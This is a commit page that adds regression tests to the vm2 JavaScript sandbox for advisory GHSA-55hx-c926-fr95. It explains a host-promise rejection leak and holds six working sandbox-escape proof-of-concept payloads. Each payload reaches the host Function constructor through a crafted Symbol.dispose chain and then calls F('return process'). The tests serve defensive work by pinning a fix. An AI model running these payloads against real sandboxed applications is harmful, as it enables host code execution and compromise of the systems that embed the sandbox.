Skip to content

Commit 119fd0a

Browse files
committed
test(GHSA-55hx-c926-fr95): structural leak repro — exposed-async-fn host-promise rejection
Pins the structural invariant: when an embedder exposes an async function via `{sandbox: {f: async () => {}}}`, calling `f()` returns a host-realm Promise whose `.then`/`.catch`/`.finally` reads return the host-realm methods (proxy-wrapped). Sandbox-side invocation schedules the callback via host machinery, bypassing the sandbox-side `globalPromise.prototype.then` override that would normally route the rejection value through `handleException`. Six cases pin the invariant; four fail before the structural fix (chains routing through host-promise .then/.catch/.finally), the other two (sandbox-rejected promise, Promise.any with host contributor) are already blocked by the existing handleException wrapping.
1 parent d715dd8 commit 119fd0a

1 file changed

Lines changed: 196 additions & 0 deletions

File tree

Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
/**
2+
* GHSA-55hx-c926-fr95 -- structural leak: host-promise callback rejection
3+
* value reaches sandbox without sanitization.
4+
*
5+
* The previous AggregateError recursion fix closes the canonical PoCs but
6+
* does NOT close the underlying primitive. When an embedder exposes a host-realm async
7+
* function via `{sandbox: {f: async () => {}}}`, calling `f()` returns a
8+
* host-realm Promise. The bridge wraps it as a sandbox proxy whose
9+
* `.then` / `.catch` / `.finally` reads return the *host-realm* methods
10+
* (proxy-wrapped). When sandbox calls those, host machinery schedules
11+
* the callback — bypassing the sandbox-side `globalPromise.prototype.then`
12+
* override that would normally route the rejection value through
13+
* `handleException`. The sandbox catch handler therefore receives a raw
14+
* host SuppressedError whose `.error.constructor.constructor` is host
15+
* `Function`, giving RCE.
16+
*
17+
* This file pins the structural invariant: a sandbox catch handler
18+
* receiving a rejected promise -- regardless of whether the promise
19+
* originated in the host or sandbox realm -- must NEVER see a value
20+
* whose `.error.constructor.constructor` resolves to the host Function
21+
* constructor (or any host built-in constructor).
22+
*/
23+
24+
'use strict';
25+
26+
const assert = require('assert');
27+
const { VM } = require('../../../lib/main.js');
28+
29+
function escapeAttempt(setupAndPayload, sandbox = {}) {
30+
const sentinelKey = '__GHSA_55HX_PWNED_' + Math.random().toString(36).slice(2);
31+
global[sentinelKey] = false;
32+
const vm = new VM({
33+
sandbox: {
34+
...sandbox,
35+
__sentinelKey: sentinelKey,
36+
__pwn: () => { global[sentinelKey] = true; }
37+
},
38+
timeout: 2000
39+
});
40+
try {
41+
vm.run(setupAndPayload);
42+
} catch (_) { /* swallow sync throws — we're checking for async escape */ }
43+
return new Promise((resolve) => {
44+
setTimeout(() => {
45+
const escaped = global[sentinelKey] === true;
46+
delete global[sentinelKey];
47+
resolve(escaped);
48+
}, 400);
49+
});
50+
}
51+
52+
describe('GHSA-55hx-c926-fr95 (structural leak: host-promise rejection callbacks bypass sanitization)', function () {
53+
this.timeout(5000);
54+
55+
it('exposed async function .catch receives sanitized error (cannot reach host Function)', async function () {
56+
const escaped = await escapeAttempt(`
57+
f().finally(() => {
58+
obj = {[Symbol.dispose]() {
59+
const e = new Error();
60+
e.name = Symbol();
61+
return e.stack;
62+
}};
63+
eval("{using a = obj;throw null;}");
64+
}).catch(e => {
65+
try {
66+
const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
67+
if (typeof F === 'function') {
68+
const proc = F("return process")();
69+
if (proc && typeof proc.pid === 'number') __pwn();
70+
}
71+
} catch (_) {}
72+
});
73+
`, { f: async () => {} });
74+
assert.strictEqual(escaped, false,
75+
'PoC succeeded — host Function reached via exposed-async-function host-Promise rejection chain');
76+
});
77+
78+
it('exposed async function .then(_, onRejected) receives sanitized error', async function () {
79+
const escaped = await escapeAttempt(`
80+
f().then(undefined, () => 'never reached')
81+
.then(() => {
82+
obj = {[Symbol.dispose]() {
83+
const e = new Error();
84+
e.name = Symbol();
85+
return e.stack;
86+
}};
87+
eval("{using a = obj;throw null;}");
88+
})
89+
.then(undefined, e => {
90+
try {
91+
const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
92+
if (typeof F === 'function') {
93+
const proc = F("return process")();
94+
if (proc && typeof proc.pid === 'number') __pwn();
95+
}
96+
} catch (_) {}
97+
});
98+
`, { f: async () => {} });
99+
assert.strictEqual(escaped, false,
100+
'.then(_, onRejected) on host promise must sanitize rejection value');
101+
});
102+
103+
it('host-rejected promise .catch receives sanitized error', async function () {
104+
const escaped = await escapeAttempt(`
105+
rejectingF().catch(e => {
106+
try {
107+
const F = e && e.constructor && e.constructor.constructor;
108+
if (typeof F === 'function') {
109+
const proc = F("return process")();
110+
if (proc && typeof proc.pid === 'number') __pwn();
111+
}
112+
} catch (_) {}
113+
});
114+
`, {
115+
rejectingF: async () => {
116+
// A real host function that rejects with a host-realm error after a microtask hop.
117+
const e = new Error('host realm error');
118+
throw e;
119+
}
120+
});
121+
assert.strictEqual(escaped, false,
122+
'host-rejected promise .catch must sanitize rejection value');
123+
});
124+
125+
it('exposed sync function returning host promise does not bypass sanitization', async function () {
126+
const escaped = await escapeAttempt(`
127+
syncF().finally(() => {
128+
obj = {[Symbol.dispose]() {
129+
const e = new Error();
130+
e.name = Symbol();
131+
return e.stack;
132+
}};
133+
eval("{using a = obj;throw null;}");
134+
}).catch(e => {
135+
try {
136+
const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
137+
if (typeof F === 'function') {
138+
const proc = F("return process")();
139+
if (proc && typeof proc.pid === 'number') __pwn();
140+
}
141+
} catch (_) {}
142+
});
143+
`, { syncF: () => Promise.resolve() });
144+
assert.strictEqual(escaped, false,
145+
'sync host function returning host promise must equally sanitize rejection');
146+
});
147+
148+
it('chained .then().then().catch() through host promise still sanitizes', async function () {
149+
const escaped = await escapeAttempt(`
150+
f()
151+
.then(() => 'first')
152+
.then(() => {
153+
obj = {[Symbol.dispose]() {
154+
const e = new Error();
155+
e.name = Symbol();
156+
return e.stack;
157+
}};
158+
eval("{using a = obj;throw null;}");
159+
})
160+
.catch(e => {
161+
try {
162+
const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
163+
if (typeof F === 'function') {
164+
const proc = F("return process")();
165+
if (proc && typeof proc.pid === 'number') __pwn();
166+
}
167+
} catch (_) {}
168+
});
169+
`, { f: async () => {} });
170+
assert.strictEqual(escaped, false,
171+
'multi-link chain on host promise must sanitize at the catch terminus');
172+
});
173+
174+
it('Promise.race / Promise.any with host contributors sanitizes rejection', async function () {
175+
const escaped = await escapeAttempt(`
176+
Promise.any([f()]).then(() => {
177+
obj = {[Symbol.dispose]() {
178+
const e = new Error();
179+
e.name = Symbol();
180+
return e.stack;
181+
}};
182+
eval("{using a = obj;throw null;}");
183+
}).catch(e => {
184+
try {
185+
const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
186+
if (typeof F === 'function') {
187+
const proc = F("return process")();
188+
if (proc && typeof proc.pid === 'number') __pwn();
189+
}
190+
} catch (_) {}
191+
});
192+
`, { f: async () => {} });
193+
assert.strictEqual(escaped, false,
194+
'Promise.any/race with host contributors must produce sanitized errors');
195+
});
196+
});

0 commit comments

Comments
 (0)